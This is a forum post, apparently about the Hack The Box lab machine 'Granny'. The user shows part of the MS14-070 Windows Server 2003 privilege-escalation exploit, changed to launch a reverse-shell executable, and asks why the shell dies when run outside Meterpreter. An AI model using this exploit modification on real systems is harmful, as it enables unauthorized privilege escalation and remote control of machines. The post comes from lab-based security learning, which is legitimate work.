Hi,
I try to pwn Granny again, without meterpreter. I’m stuck with privesc (MS14-070 : Microsoft Windows Server 2003 SP2 - TCP/IP IOCTL Privilege Escalation (MS14-070) - Windows local Exploit).
I modify the exploit like this :
BOOL WINAPI CreateNewCmdProcess (STARTUPINFO *startupInformation, PROCESS_INFORMATION *processInformation)
{
ZeroMemory (&startupInformation[0], sizeof (STARTUPINFO));
startupInformation->cb = sizeof (STARTUPINFO);
ZeroMemory (&processInformation[0], sizeof (PROCESS_INFORMATION));
// Start the child process.
return CreateProcess (
NULL, // No module name (use command line)
//"c:\\windows\\system32\\cmd.exe /K cd c:\\windows\\system32", // Start cmd.exe
"c:\\Inetpub\\wwwroot\\revshell.exe", // Start reverse shell
NULL, // Process handle not inheritable
NULL, // Thread handle not inheritable
TRUE, // Set handle inheritance to TRUE
0, // No creation flags
NULL, // Use parent's environment block
NULL, // Use parent's starting directory
&startupInformation[0], // Pointer to STARTUPINFO structure
&processInformation[0] // Pointer to PROCESS_INFORMATION structure
);
}
When I execute this exploit from cmd.exe (or command shell
from meterpreter), it spawns a reverse shell but dies just after. No matter what payload I use (meterpreter, windows_reverse_shell, ncat.exe, etc).
But, when I execute -f MS14-070.exe
from meterpreter, it opens just fine.
How can I have the same behaviour than meterpreter’s execute -f
for cmd.exe ?
In this video, the user has the exact same problem (he finally managed to have reverse shell, but used meterpreter’s execute -f
command) :